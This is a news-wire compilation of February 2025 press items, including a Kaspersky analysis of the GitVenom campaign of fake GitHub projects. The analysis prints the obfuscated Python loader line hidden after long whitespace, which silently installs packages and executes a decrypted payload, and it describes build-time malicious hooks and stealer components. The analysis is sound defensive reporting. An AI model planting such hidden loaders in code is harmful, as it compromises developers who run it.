    Additionally, the Department of Posts offers the facility of linking/updating mobile number with Aadhaar for farmers benefiting from PM KISAN scheme. This is to complete e-KYC, through India Post Payment Bank.[11]

     

    Mandatory information required to enroll in scheme:

    • Farmer’s / Spouse’s name
    • Farmer’s / Spouse’s date of birth
    • Bank account number
    • IFSC/ MICR Code
    • Mobile Number
    • Aadhaar Number
    • Other customer information as available in the passbook which is required for mandate registration

     

    [12]

    Impact and Achievements

    • Since its inception, the Government of India has disbursed over Rs 3.46 lakh Cr. in 18 installments.
    • A significant saturation drive launched in November 2023 under the Viksit Bharat Sankalp Yatra added over 1 crore eligible farmers to the scheme.
    • An additional 25 lakh farmers were included within the first 100 days of the subsequent government in June 2024. As a result, the number of beneficiaries receiving the 18th installment increased to 9.59 crore.
    • The scheme has a wide reach across various states. For instance, during the 18th installment (August 2024 – November 2024), Uttar Pradesh had the highest number of beneficiaries at 2,25,78,654, followed by Bihar with 75,81,009 beneficiaries. [13]

     

    A promising journey

    An independent study conducted by International Food Policy Research Institute (IFPRI) in 2019, found that PM-KISAN funds boosted rural economic growth, eased farmers’ credit constraints, and increased agricultural input investments. Further, the scheme has enhanced farmers’ risk-taking capacity, leading them to undertake riskier but comparatively productive investments. The funds received by recipients under PM-KISAN are not only helping them with their agricultural needs, but it is also catering to their other expenses such as education, medical, marriage, etc. These are the indicators of the positive impact of the scheme on the farmers of the country. PM KISAN has truly been a game changer for the farming community of our country.[14]

    Conclusion

    In the last five years, the PM-KISAN Scheme has evolved into a transformative initiative for the farming community, achieving significant milestones in financial inclusion and rural empowerment. Its vision of providing direct and timely assistance to millions of farmers has been implemented with remarkable efficiency. The scheme’s seamless digital infrastructure, which enables direct transfers to beneficiaries’ accounts, has set a benchmark for transparency and effective governance. As PM-KISAN continues to expand its reach, it stands as a testament to the government’s commitment to strengthening the agricultural sector and enhancing the livelihoods of India’s farmers.

     

    References:

    · https://pib.gov.in/PressReleasePage.aspx?PRID=2105462

    · https://x.com/pmkisanofficial/status/1890710455896670308

    · https://pmkisan.gov.in/Creatives.aspx

    · https://pib.gov.in/PressReleasePage.aspx?PRID=2061928

    · https://pib.gov.in/PressReleasePage.aspx?PRID=2100758

    · https://pmkisan.gov.in/Documents/PMKisanSamanNidhi.PDF

    · https://pib.gov.in/PressReleaseIframePage.aspx?PRID=1947889

    · https://pib.gov.in/PressReleaseIframePage.aspx?PRID=1934517

    · https://sansad.in/getFile/annex/266/AU1302_YaVIcH.pdf?source=pqars

    · https://static.pib.gov.in/WriteReadData/specificdocs/documents/2022/aug/doc202282696201.pdf

    · https://pib.gov.in/PressReleaseIframePage.aspx?PRID=1959461

    · https://pib.gov.in/PressReleasePage.aspx?PRID=1869463

    · https://pmkisan.gov.in/Documents/Note-on-Modes-and-processes-of-ekyc-13th-Nov-English.pdf

    · https://pib.gov.in/PressReleasePage.aspx?PRID=2100758

    · https://sansad.in/getFile/loksabhaquestions/annex/1712/AU795.pdf?source=pqals

    · https://pib.gov.in/PressReleasePage.aspx?PRID=2080200

    Click here to see PDF

    *****

    Santosh Kumar/ Sheetal Angral/ Kritika Rane

    (Release ID: 2105745) Visitor Counter : 31

    MIL OSI Asia Pacific News –

    February 24, 2025
  • MIL-OSI Asia-Pac: India’s technological sector is on rise & is expected to reach $300-350 billion in next five years: Raksha Mantri at 16th Foundation Day of IIT Mandi

    Source: Government of India

    India’s technological sector is on rise & is expected to reach $300-350 billion in next five years: Raksha Mantri at 16th Foundation Day of IIT Mandi

    “Biggest challenge today is to not only adapt to the rapidly changing technology, but also to create new technologies. Don’t just be adapters; become the disruptors who lead innovation”

    Posted On: 24 FEB 2025 3:22PM by PIB Delhi

    “India’s technological sector is on the rise and is expected to reach 300-350 US billion dollars in the next five years. With more than 1.25 lakh start-ups and 110 unicorns, our country is emerging as the third-largest start up ecosystem in the world,” highlighted Raksha Mantri Shri Rajnath Singh while addressing the 16th Foundation Day of the Indian Institute of Technology (IIT) Mandi, Himachal Pradesh on February 24, 2025. He encouraged the students to leverage this period of growth and opportunity, ensuring that they not only contribute to India’s technological advancements but also lead the way globally in key areas of research and development. 

    Shri Rajnath Singh emphasised the necessity of innovation and knowledge creation in shaping the future of technology. He underscored the importance of fostering a culture of entrepreneurship and innovation that would allow India to lead in emerging fields such as Artificial Intelligence, machine learning, and digital technologies. He lauded the institution’s outstanding contributions to shaping India’s technological and scientific advancements. He also highlighted IIT Mandi’s pivotal role in fostering innovation and research, and laid stress on India’s rising prominence as a global leader in technology. 

    In the context of national security, Shri Rajnath Singh urged IIT Mandi to play a more significant role in defence-related technologies. He commended the existing collaboration with DRDO and called for further contributions in areas such as Artificial Intelligence (AI)-driven warfare, indigenous AI chip development, cybersecurity, and quantum technology. 

    Raksha Mantri also threw light on India’s progress in defence self-reliance, highlighting that “India has achieved 88% self-sufficiency in ammunition production, and defence exports have reached approximately Rs 23,000 crore in 2023-24. Our goal is to reach Rs 50,000 crore in defence exports by 2029.” He bolstered the government’s commitment in creating a robust defence industry in India, one that supports both the security of the nation and contributes to the country’s economic growth. He called on IIT Mandi’s students to contribute to this vision by focusing on technological solutions that can enhance India’s defence capabilities and further advance the nation’s self-reliance in this critical sector. 

    In line with India’s emerging digital economy, Shri Rajnath Singh shared key highlights on the country’s remarkable digital progress. “India’s telecom sector is now the second-largest in the world. With the success of initiatives like UPI, India is setting global standards in digital transactions. We are in the midst of an unparalleled digital revolution,” he said. He encouraged the students to actively contribute to the development of India’s digital ecosystem, reiterating that technological innovation is central to India’s growth story in the coming decades. 

    Further urging the students to excel in technological innovation in order to make the country developed by 2047, Raksha Mantri advised them to follow the principles of Initiate, Improve, and Transform (IIT). Shri Rajnath Singh also motivated them to be bold in their pursuit of knowledge and to remain persistent in the face of challenges. He also spoke about the need for courage and resilience as the country faced the challenges of the future, and highlighted the importance of working collectively to address national challenges with technology and innovation. 

     Shri Rajnath Singh also encouraged the students to be disruptors and not just adapters in the fast-paced world of technology. “The biggest challenge today is to adapt to the rapidly changing technology, but also to create new technologies. Don’t just be adapters; become the disruptors who lead innovation,” he added. He spoke about the significant opportunities available to young innovators, stressing the importance of shaping new paradigms rather than simply following existing trends. Raksha Mantri further stated that this is the time of the ‘Indian Dream’—a time where the aspirations and achievements can redefine the global landscape. He motivated the students to set ambitious goals and to aim high in their careers, as their work would have a lasting impact on India’s trajectory in this landscape. 

    Shri Rajnath Singh congratulated IIT Mandi on its achievements stating that “In the last 15 years, the institution has secured a distinguished place on the educational map, not only of India but the world. It is a perfect blend of ancient heritage and modern technological education.” He mentioned the region’s rich historical significance, emphasising that the existence of IIT Mandi at such a culturally and historically enriched location symbolises the union of antiquity and modernity. He further expressed confidence that the institution, with its strong foundation in academics, research, and innovation, would continue to make significant contributions to both India’s growth & global technological advancement. 

    Raksha Mantri inaugurated two new buildings, the Guidance & Counselling Centre and the Centre for Continuing Education during the event. Both buildings are designed to enhance the academic ecosystem and contribute to the personal and professional growth of the students and faculty. These additions will provide much-needed infrastructure to support the holistic development of students and ensure their success in the rapidly changing world of technology and innovation. “These new centres will play a crucial role in supporting students, faculty, and researchers, further strengthening IIT Mandi’s contribution to Science, Technology, Engineering, Mathematics, and Management,” he stated. 

    ***

    SR/KB

    (Release ID: 2105733) Visitor Counter : 87

    MIL OSI Asia Pacific News –

    February 24, 2025
  • MIL-OSI Africa: APO Group Founder Nicolas Pompigne-Mognard Invited as a Special Guest to Attend the Elective General Assembly of the Association of National Olympic Committees of Africa (ANOCA) in Algeria

    Source: Africa Press Organisation – English (2) – Report:

    APO Group Founder Nicolas Pompigne-Mognard Invited as a Special Guest to Attend the Elective General Assembly of the Association of National Olympic Committees of Africa (ANOCA) in Algeria APO Group has been a strategic partner of ANOCA since 2022, supporting its mission to promote the Olympic values and strengthen the development of sports in Africa ALGIERS, Algeria, February 24, 2025/APO Group/ — APO Group (www.APO-opa.com), the leading award-winning pan-African communications consultancy and press release distribution service, is glad to announce that its Founder and Chairman, Nicolas Pompigne-Mognard (www.Pompigne-Mognard.com), has been invited as a special guest to attend the Elective General Assembly of the Association of National Olympic Committees of Africa (ANOCA), taking place on March 14-15, 2025, in Algiers, Algeria.  The invitation, extended by ANOCA President Mr. Mustapha Berraf, underscores the strong partnership between APO Group and ANOCA, as well as Mr. Pompigne-Mognard’s influential role in advancing the Olympic movement and sports development across Africa.  In a letter of invitation, ANOCA expressed its honor to welcome Mr. Pompigne-Mognard, stating: “As the founder and Chairman of APO Group, we are more than honored to welcome you among us as a special guest of the ANOCA Elective General Assembly.”  The event, to be held at the International Conference Center in Algiers, will bring together key stakeholders from the African Olympic community to discuss the future of sports on the continent and elect new leadership.  APO Group has been a strategic partner of ANOCA since 2022, supporting its mission to promote the Olympic values and strengthen the development of sports in Africa.   Reflecting on the invitation, Nicolas Pompigne-Mognard said: “I am deeply honored to be invited to this prestigious event. The partnership between APO Group and ANOCA is a testament to our shared commitment to advancing the Olympic movement in Africa. I look forward to contributing to the discussions and supporting ANOCA’s vision for the future of African sports.”  Nicolas Pompigne-Mognard (www.Pompigne-Mognard.com) was named among Africa’s Top 100 Most Influential People in 2023 and in 2024. His wholly owned company, APO Group, serves as the Pan-African public relations agency for the NBA, the Basketball Africa League (BAL), the World Football Summit, and as the press release distribution service for YallaVamos 2030 – the joint bid by Morocco, Portugal, and Spain to host the 2030 FIFA World Cup™. APO Group is also the Official Public Relations Partner and Sport Marketing Agency for Rugby Africa, Strategic Partner of the Association of National Olympic Committees of Africa (ANOCA), and a Partner of the International Sports Press Association (AIPS), positioning the company as a key player in African sports communications. APO Group was the Pan-African PR agency for FIFA from 2020 to 2024. Nicolas also sits on the Advisory Board of the World Football Summit and serves as Special Advisor to the President of Rugby Africa. In 2022, FIFA Secretary General Fatma Samoura appointed Nicolas as a member of the FIFA-CAF Task Force for Infrastructure Development in Africa.  For more information about the strategic partnership between APO Group and ANOCA, please visit: https://apo-opa.co/43eWx8d Distributed by APO Group on behalf of APO Group. Media contact:  marie@apo-opa.com  About APO Group:  Founded in 2007, APO Group (www.APO-opa.com) is the leading award-winning pan-African communications consultancy and press release distribution service. Renowned for our deep-rooted African expertise and expansive global perspective, we specialise in elevating the reputation and brand equity of private and public organisations across Africa. As a trusted partner, our mission is to harness the power of media, crafting bespoke strategies that drive tangible, measurable impact both on the continent and globally.  Our commitment to excellence and innovation has been recognised with multiple prestigious awards, including the PRovoke Media Global SABRE Award and multiple PRovoke Media Africa SABRE Awards. In 2023, we were named the Leading Public Relations Firm and the Leading Pan-African Communications Consultancy in Africa in the World Business Outlook Awards, and the Best Public Relations and Media Consultancy of the Year in 2024 in the same awards. In 2025, Brands Review Magazine acknowledged us as the Leading Communications Consultancy in Africa for the second consecutive year. They also named us the Best PR Agency and the Leading Press Release Distribution Platform in Africa in 2025.  APO Group’s esteemed clientele, which includes global giants such as Canon, Nestlé, Western Union, the UNDP, Network International, African Energy Chamber, Mercy Ships, Marriott, Africa’s Business Heroes, and Liquid Intelligent Technologies, reflects our unparalleled ability to navigate the complex African media landscape. With teams on the ground in numerous African countries, we offer unmatched insights and reach across the continent. APO Group is dedicated to reshaping narratives about Africa, challenging stereotypes, and bringing inspiring African stories to global audiences, with our expertise in developing and supporting public relations campaigns worldwide uniquely positioning us to amplify brand messaging, enhance reputations, and connect effectively with target audiences. 

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    MIL OSI Africa –

    February 24, 2025
  • MIL-OSI United Kingdom: Anniversary Statement: Cessna 152, G-BSZW

    Source: United Kingdom – Executive Government & Departments

    News story

    Anniversary Statement: Cessna 152, G-BSZW

    Loss of rudder control in-flight, Blackbushe Airport, Hampshire, 24 February 2024

    This statement provides an update on the AAIB investigation into a serious incident involving a Cessna 152 at Blackbushe Airport on 24 February 2024. The aircraft was being flown by a student pilot during a training flight when it suffered a loss of rudder control.  The instructor took control of the aircraft and landed uneventfully.  Examination of the aircraft revealed that the rudder bellcrank had failed at the point where the right rudder cable attached to it. 

    The investigation has focused on the reason for the failure of the bellcrank and is nearing completion.  The final report is expected to be published later in 2025.

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    Published 24 February 2025

    MIL OSI United Kingdom –

    February 24, 2025
  • MIL-OSI Asia-Pac: Speech by SITI at Cisco Engage Greater Bay Area Summit (English only)

    Source: Hong Kong Government special administrative region

         Following is the speech by the Secretary for Innovation, Technology and Industry, Professor Sun Dong, at the Cisco Engage Greater Bay Area Summit today (February 24):
     
    Dave (President of Cisco Asia Pacific, Japan and Greater China, Mr Dave West), Jacqueline (Senior Vice President & General Manager, Customer Experience, Cisco Asia Pacific, Japan and Greater China, Ms Jacqueline Guichelaar), Ming (Vice President & Chief Executive Officer of Cisco Greater China, Mr Ming Wong), Iris (General Manager of Cisco Hong Kong, Macau and South China, Ms Iris Feng), distinguished speakers, ladies and gentlemen,
     
         Good morning. It is my great pleasure to be here today at the Cisco Engage Greater Bay Area event, a dynamic platform for exploring the exciting opportunities and innovative solutions that lie ahead in this vibrant region.   
     
         I am delighted to learn that today’s event brings more than 20 visionary speakers and some 400 tech industry leaders and experts from home and abroad, a true testament to Hong Kong’s ability to attract the world’s top talent and innovative ideas.
     
         Today’s theme, “Go beyond”, perfectly captures the spirit of Cisco’s success over the past 40 years. It is also a call to action, urging us to push the boundaries of what is possible and explore new horizons to achieve our shared vision of developing Hong Kong into an international innovation and technology (I&T) centre.
     
         Hong Kong has long been recognised as a super connector, bridging the dynamic markets of Mainland China with the rest of the world. The Hong Kong Special Administrative Region Government is fully committed to creating a robust I&T ecosystem and a business-friendly environment where I&T enterprises and start-ups can grow and thrive here, and make impactful contributions to the local and global economy and society. Proactive initiatives, such as the development of the Hetao Hong Kong Park and the new I&T land in San Tin Technopole, will provide new impetus to our I&T development. We welcome more international I&T enterprises like Cisco to set foot in Hong Kong and leverage Hong Kong’s unique advantages as an ideal gateway for businesses aiming to tap into the vast markets of Mainland China and the Asia-Pacific region.  
      
         To construct a sustainable I&T ecosystem, the close collaboration among government, industry, academia, research and investment sectors is crucial. Last year, Cisco collaborated with Cyberport to jointly build an AI Lab, and I am pleased to learn that it has achieved some remarkable results. As one of the world’s largest technology companies specialising in IT network, cyber security and cloud computing, Cisco has long been a solid player in the ICT (information and communications technology) industry, supporting Hong Kong to become a leading digital hub in the region. I look forward to witnessing more successful partnership between Cisco and other stakeholders in Hong Kong’s I&T industry.
     
         The digital landscape is evolving at an unprecedented pace, presenting both challenges and opportunities. Together, let us continue to embrace the spirit of “going beyond”, and navigate the complexities of the digital age. 
     
         Wish you all a great day. Thank you.

    MIL OSI Asia Pacific News –

    February 24, 2025
  • MIL-OSI: 4/2025・Trifork Group AG – Change to the Board of Directors

    Source: GlobeNewswire (MIL-OSI)

    Company announcement no. 4 / 2025
    Schindellegi, Switzerland – 24 February 2025


    Change to the Board of Directors

    Casey Rosenthal, Member of the Board of Directors of Trifork Group AG since 2019, is joining Trifork’s US organization in an operational role and has therefore left the Board of Directors with immediate effect.

    Casey Rosenthal will be a member of the management team of Trifork US, leading growth in the Platform and Data Engineering space. Pairing his extensive experience in managing large-scale platforms with Trifork’s expertise in building scalable, resilient solutions, Casey Rosenthal will be key in executing Trifork’s ambition to continue the strong growth witnessed in North America in the past years.

    Before joining Trifork US, Casey Rosenthal was a software entrepreneur and an engineering manager in the Traffic Engineering and Chaos Engineering teams at Netflix. He has managed teams to tackle big data and architect solutions to difficult problems. He finds opportunities to leverage his experience with distributed systems and artificial intelligence, translating novel algorithms and academia into working models. Casey Rosenthal also models human behavior using personality profiles in Ruby, Erlang, Elixir, Prolog, Scala, and other languages. He speaks frequently at conferences on the topics of chaos engineering and complexity.

    Investor and press contact:
    Frederik Svanholm, Group Investment Director & Head of IR
    frsv@trifork.com, +41 79 357 73 17


    About Trifork 
    Trifork is a pioneering global technology partner, empowering enterprise and public sector customers with innovative solutions. With 1,278 professionals across 76 business units in 15 countries, Trifork delivers expertise in inspiring, building, and running advanced software solutions across diverse sectors, including public administration, healthcare, manufacturing, logistics, energy, financial services, retail, and real estate. Trifork Labs, the Group’s R&D hub, drives innovation by investing in and developing synergistic and high-potential technology companies. Trifork Group AG is a publicly listed company on Nasdaq Copenhagen. Learn more at trifork.com.

    Attachment

    • CA_04_25_Board

    The MIL Network –

    February 24, 2025
  • MIL-OSI Economics: The GitVenom campaign: cryptocurrency theft using GitHub

    Source: Securelist – Kaspersky

    Headline: The GitVenom campaign: cryptocurrency theft using GitHub

    In our modern world, it’s difficult to underestimate the impact that open-source code has on software development. Over the years, the global community has managed to publish a tremendous number of projects with freely accessible code that can be viewed and enhanced by anyone on the planet. Very frequently, code published on the Internet serves as a source of inspiration for software developers – whenever they need to implement a project feature, they often check whether the code they need is already available online. This way, they avoid reinventing the wheel and thus save their precious time.

    With more and more open-source projects being published, both state-sponsored actors and cybercriminals started using freely available code as a lure to infect their targets. Of course, this trend shows no sign of slowing down as evidenced by a currently active campaign aimed at GitHub users that we dubbed GitVenom.

    Promise-filled yet fake projects

    Over the course of the GitVenom campaign, the threat actors behind it have created hundreds of repositories on GitHub that contain fake projects with malicious code – for example, an automation instrument for interacting with Instagram accounts, a Telegram bot allowing to manage Bitcoin wallets, and a hacking tool for the video game Valorant.

    Clearly, in designing these fake projects, the actors went to great lengths to make the repositories appear legitimate to potential targets. For instance, the malicious repositories we discovered contained well-designed README.md files, possibly generated using AI tools. We observed these files to contain information about the projects, as well as instructions on how to compile their code.

    Snippets of README.md pages with descriptions of fake projects

    In addition to that, the attackers added multiple tags to their repositories, as well as artificially inflated the number of commits made to them. To do that, they placed a timestamp file in these repositories, which was updated every few minutes:

    Example structure of a malicious repository

    Malicious code implanted in many ways

    While analyzing repositories created over the course of the GitVenom campaign, we noted that the fake projects we found were written in multiple programming languages – specifically Python, JavaScript, C, C++ and C#. As may be expected, these projects did not implement the features discussed in the README.md file, and their code mostly performed meaningless actions. At the same time, each of the projects was infected with malicious code, with its placement depending on the programming language used.

    For instance, the attackers placed malicious code in Python-based projects by inserting a long line in one of the project files. This line consisted of about 2,000 tab characters, followed by the following code, responsible for decrypting and executing a Python script:

    1

    subprocess.run([‘pip’, ‘install’, ‘cryptography’], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run([‘pip’, ‘install’, ‘fernet’], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; import requests; exec(Fernet(b‘‘))

    In the case of projects coded in JavaScript, the attackers created a malicious function inside them, which was in turn invoked from the main file of the project. Below is an example of such a function:

    Example of a malicious function placed in JavaScript-based projects. It decodes a script from Base64 and executes it.

    As for repositories containing C, C++ and C# code, the attackers decided to hide a malicious batch script inside Visual Studio project files, configuring it to execute at project build time:

    Snippet from a malicious Visual Studio project file. It contains a PreBuildEvent attribute, which instructs the payload to execute at project build time.

    Further payloads deployed

    While coded in different programming languages, the malicious payloads stored inside the fake projects had the same goal – download further malicious components from an attacker-controlled GitHub repository (URL at the time of research: hxxps://github[.]com/Dipo17/battle) and execute them. These components were as follows:

    • A Node.js stealer that collects information such as saved credentials, cryptocurrency wallet data and browsing history, packs it into a .7z archive and uploads it to the attackers via Telegram.

    Structure of the archive which the stealer sends to the attackers

    • The open-source AsyncRAT implant (C2 server address: 68.81[.]155);
    • The open-source Quasar backdoor (C2 server address: same as above)
    • A clipboard hijacker, which searches the clipboard contents for cryptocurrency wallet addresses and replaces them with attacker-controlled ones. Notably, the attacker-controlled Bitcoin wallet ( ID: bc1qtxlz2m6r[...]yspzt) received a lump sum of about 5 BTC (approximately 485,000 USD at the time of research) in November 2024.

    Impact of the campaign

    While investigating malicious repositories related to the GitVenom campaign, we found several fake projects published two years ago. Given that the attackers have been luring victims with these projects for several years, the infection vector is likely quite efficient. In fact, based on our telemetry, infection attempts related to GitVenom have been observed worldwide, with the highest number of them being in Russia, Brazil and Turkey. We expect these attempts to continue in the future, possibly with small changes in the TTPs.

    Blindly running code from GitHub can be detrimental

    As code-sharing platforms such as GitHub are used by millions of developers worldwide, threat actors will certainly continue using fake software as an infection lure. For that reason, it is crucial to handle processing of third-party code very carefully. Before attempting to run such code or integrate it into an existing project, it is paramount to thoroughly check what actions it performs. This way, it will be very easy to spot fake projects and prevent malicious code placed in them from being used to compromise the development environment.

    Reference hashes for infected repository archives

    63739e000601afde38570bfb9c8ba589 (06d0d13a4ce73775cf94a4a4f2314490de1d5b9af12db8ba9b01cd14222a2756)

    3684907e595cd04bf30b27d21580a7c6 (bd44a831ecf463756e106668ac877c6b66a2c0b954d13d6f311800e75e9c6678)

    MIL OSI Economics –

    February 24, 2025
  • MIL-OSI Africa: Secretary-General’s Remarks to the Human Rights Council [as delivered]

    Source: United Nations – English

    Scroll down for all-English and all-French versions]

    Mr. President of the General Assembly, Mr. President of the Human Rights Council, High Commissioner,
    Excellencies, ladies and gentlemen,

    We begin this session under the weight of a grim milestone — the third anniversary of Russia’s invasion of Ukraine, in violation of the UN charter.

    More than 12,600 civilians killed, with many more injured.

    Entire communities reduced to rubble.

    Hospitals and schools destroyed.

    We must spare no effort to bring an end to this conflict, and to achieve a just and lasting peace in line with the UN Charter, international law and General Assembly resolutions.

    Conflicts like the war in Ukraine exact a heavy toll.

    A toll on people. 

    A toll on fundamental principles like territorial integrity, sovereignty and the rule of law.

    And a toll on the vital business of this Council.

    Without respect for human rights — civil, cultural, economic, political and social — sustainable peace is a pipedream.

    And like this Council, human rights shine a light in the darkest places.

    Through your work, and the work of the High Commissioner’s Office around the world, you’re supporting brave human rights defenders risking persecution, detention and even death.

    You’re working with governments, civil society and others to strengthen action on human rights.

    And you’re supporting investigations and accountability.

    Five years ago, we launched our Call to Action for Human Rights, embedding human rights across the work of the United Nations around the world in close cooperation with our partners.

    I will continue supporting this important work, and the High Commissioner’s Office, as we fight for human rights everywhere.
    Excellencies,

    We have our work cut out for us. 

    Human rights are the oxygen of humanity.

    But one by one, human rights are being suffocated.  

    By autocrats, crushing opposition because they fear what a truly empowered people would do. 

    By a patriarchy that keeps girls out of school, and women at arm’s length from basic rights.

    By wars and violence that strip populations of their right to food, water and education.

    By warmongers who thumb their nose at international law, international humanitarian law and the UN Charter.  

    Human rights are being suffocated by the climate crisis.

    And by a morally bankrupt global financial system that too often obstructs the path to greater equality and sustainable development.

    By runaway technologies like Artificial Intelligence that hold great promise, but also the ability to violate human rights at the touch of a button.

    By growing intolerance against entire groups — from Indigenous peoples, to migrants and refugees, to the LGBTQI+ community, to persons with disabilities.  
    And by voices of division and anger who view human rights not as a boon to humanity, but as a barrier to the power, profit and control they seek.

    In short — human rights are on the ropes and being pummeled hard.

    This represents a direct threat to all of the hard-won mechanisms and systems established over the last 80 years to protect and advance human rights. 

    But as the recently adopted Pact for the Future reminds us, human rights are, in fact, a source of solutions.

    The Pact provides a playbook on how we can win the fight for human rights on several fronts.   

    First — human rights through peace and peace through human rights.

    Conflicts inflict human rights violations on a massive scale.

    In the Occupied Palestinian Territory, violations of human rights have skyrocketed since the horrific Hamas attacks of October 7 and the intolerable levels of death and destruction in Gaza.

    And I am gravely concerned by the rising violence in the occupied West Bank by Israeli settlers and other violations, as well as calls for annexation. We are witnessing a precarious ceasefire. We must avoid at all costs a resumption of hostilities. The people in Gaza have already suffered too much.

    It’s time for a permanent ceasefire, the dignified release of all remaining hostages, irreversible progress towards a two-State solution, an end to the occupation, and the establishment of an independent Palestinian State, with Gaza as an integral part.

    In Sudan, bloodshed, displacement and famine are engulfing the country.  

    The warring parties must take immediate action to protect civilians, uphold human rights, cease hostilities and forge peace.

    And domestic and international human rights monitoring and investigation mechanisms should be permitted to document what is happening on the ground.

    In the Democratic Republic of the Congo, we see a deadly whirlwind of violence and horrifying human rights abuses, amplified by the recent M23 offensive, supported by the Rwandan Defense Forces.  
    As more cities fall, the risk of a regional war rises. 
     
    It’s time to silence the guns. 
     
    It’s time for diplomacy and dialogue. 
     
    The recent joint summit in Tanzania offered a way forward with a renewed call for an immediate ceasefire.

    The sovereignty and territorial integrity of the DRC must be respected.

    The Congolese people deserve peace.

    In the Sahel, I call for a renewed regional dialogue to protect citizens from terrorism and systemic violations of human rights, and to create the conditions for sustainable development. 

    In Myanmar, the situation has grown far worse in the four years since the military seized power and arbitrarily detained members of the democratically elected government.

    We need greater cooperation to bring an end to the hostilities and forge a path towards an inclusive democratic transition and a return to civilian rule, allowing for the safe return of the Rohingya refugees.

    And in Haiti, we are seeing massive human rights violations — including more than a million people displaced, and children facing a horrific increase in sexual violence and recruitment into gangs.

    In the coming days, I will put forward proposals to the United Nations Security Council for greater stability and security for the people of Haiti — namely through an effective UN assistance mechanism to support the Multilateral Security Support mission, the national police and Haitian authorities.

    A durable solution requires a political process — led and owned by the Haitian people — that restores democratic institutions through elections.

    The Pact for the Future calls for peace processes and approaches rooted in the Universal Declaration of Human Rights, international law and the UN Charter.

    It proposes specific actions to prioritize conflict prevention, mediation, resolution and peacebuilding.

    And it includes a commitment to tackle the root causes of conflict, which are so often enmeshed in denials of basic human needs and rights.  

    Second — the Pact for the Future advances human rights through development.

    The Sustainable Development Goals and human rights are fundamentally intertwined.

    They represent real human needs — health, food, water, education, decent work and social protection.

    With less than one-fifth of the Goals on track, the Pact calls for a massive acceleration through an SDG Stimulus, reforming the global financial architecture, and taking meaningful action for countries drowning in debt.

    This must include focused action to conquer the most widespread human rights abuse in history — inequality for women and girls.

    The Pact calls for investing in battling all forms of discrimination and violence against women and girls, and ensuring their meaningful participation and leadership across all walks of life.
    And along with the Declaration on Future Generations, the Pact calls for supporting the rights and futures of young people through decent work, removing barriers for youth participation, and enhancing training.

    And the Global Digital Compact calls on nations to champion young innovators, nurture entrepreneurial spirit, and equip the next generation with digital literacy and skills.
    Third — the Pact for the Future recognizes that the rule of law and human rights go hand-in-hand.

    The rule of law, when founded on human rights, is an essential pillar of protection.

    It shields the most vulnerable.

    It’s the first line of defense against crime and corruption.

    It supports fair, just and inclusive economies and societies.

    It holds perpetrators of human rights atrocities to account.

    It enables civic space for people to make their voices heard — and for journalists to carry out their essential work, free from interference or threats.

    And it reaffirms the world’s commitment to equal access to justice, good governance, and transparent and accountable institutions.   

    Quatrièmement, réaliser les droits humains grâce à l’action climatique.

    L’année dernière a été la plus chaude jamais enregistrée, et vient couronner la décennie la plus chaude jamais enregistrée.

    La hausse des températures, la fonte des glaciers et le réchauffement des océans ne peuvent mener qu’au désastre.

    Inondations, sécheresses, tempêtes meurtrières, famine, déplacements massifs : notre guerre contre la nature est aussi une guerre contre les droits humains.

    Nous devons prendre un autre chemin.

    Je salue les nombreux États Membres qui reconnaissent légalement le droit à un environnement sain, et j’appelle tous les pays à faire de même.

    Les gouvernements doivent tenir leur promesse d’élaborer cette année de nouveaux plans d’action nationaux pour le climat couvrant l’ensemble de l’économie, et ce bien avant la COP 30 qui se tiendra au Brésil.

    Ces plans doivent limiter la hausse de la température mondiale à 1,5 degré, notamment en accélérant la transition énergétique mondiale.

    Nous avons également besoin d’une augmentation massive des financements pour l’action climatique dans les pays en développement, afin de s’adapter au réchauffement de la planète, de réduire les émissions et d’accélérer la révolution des énergies renouvelables, qui offre d’énormes possibilités économiques.

    Nous devons nous opposer aux campagnes mensongères menées par de nombreux acteurs de l’industrie des combustibles fossiles et à ceux qui la font vivre et s’en rendent complices…

    Tout comme nous devons protéger et défendre les personnes qui sont en première ligne de la lutte pour une justice climatique.

    Et cinquièmement, réaliser les droits humains grâce à une gouvernance renforcée et améliorée des technologies.

    À l’heure où des technologies en rapide mutation s’immiscent dans tous les aspects de notre vie, je m’inquiète des risques qu’elles représentent pour les droits humains.

    Dans le meilleur des cas, les médias sociaux sont un lieu de rencontre où l’on peut échanger des idées et débattre avec respect.

    Mais ils peuvent aussi devenir un théâtre de confrontations enflammées et d’une ignorance flagrante.

    Un lieu où les poisons que sont la mésinformation, la désinformation, le racisme, la misogynie et les discours de haine sont non seulement tolérés, mais, bien souvent, encouragés.

    La violence verbale en ligne peut facilement se transformer en violence physique dans le monde réel.

    Les reculs récents en matière de vérification des faits et de modération de contenu sur les réseaux sociaux rouvrent grand la porte à plus de haine, plus de menaces et plus de violence.

    Que l’on ne s’y trompe pas.

    Ces reculs entraîneront une diminution de la liberté d’expression, et non une amplification – car les gens craignent de plus en plus de s’exprimer sur ces plateformes.

    Dans le même temps, la grande promesse de l’intelligence artificielle s’accompagne d’un risque insondable qui met en péril l’autonomie, l’identité et le contrôle humains – jusqu’aux droits humains.

    Face à ces menaces, le Pacte numérique mondial rassemble le monde entier pour veiller à ce que les droits humains ne soient pas sacrifiés sur l’autel de la technologie.

    Il s’agit notamment de collaborer avec les entreprises numériques et les décideurs politiques pour étendre le respect des droits humains à tous les recoins du cyberespace, en mettant notamment l’accent sur l’intégrité de l’information sur toutes les plateformes numériques.

    Les Principes mondiaux pour l’intégrité de l’information que j’ai lancés l’année dernière viendront étayer et orienter les efforts que nous déploierons en vue de créer un écosystème de l’information plus humain.

    Le Pacte numérique mondial comprend également le premier accord universel sur la gouvernance de l’intelligence artificielle qui donne voix au chapitre à tous les pays, ainsi que des engagements en matière de renforcement des capacités, visant à ce que tous les pays et toutes les personnes bénéficient du potentiel de l’intelligence artificielle.

    Pour cela, il faut investir dans l’accès à l’Internet à un prix abordable, dans les formations au numérique et dans les infrastructures ;

    Aider les pays en développement à utiliser l’intelligence artificielle pour développer les petites entreprises, améliorer les services publics et connecter les communautés à de nouveaux marchés.

    Et mettre les droits humains au centre des systèmes fondés sur l’intelligence artificielle.

    Les décisions du Pacte – d’établir un Groupe scientifique international indépendant et un Dialogue mondial régulier garantissant la participation de tous les pays dans l’élaboration de l’avenir de l’intelligence artificielle – constituent des avancées importantes. Il faut les concrétiser.

    Excellences,

    Mesdames et Messieurs,

    Nous pouvons mettre fin à l’asphyxie des droits humains en donnant vie au Pacte pour l’avenir et aux travaux de ce Conseil.

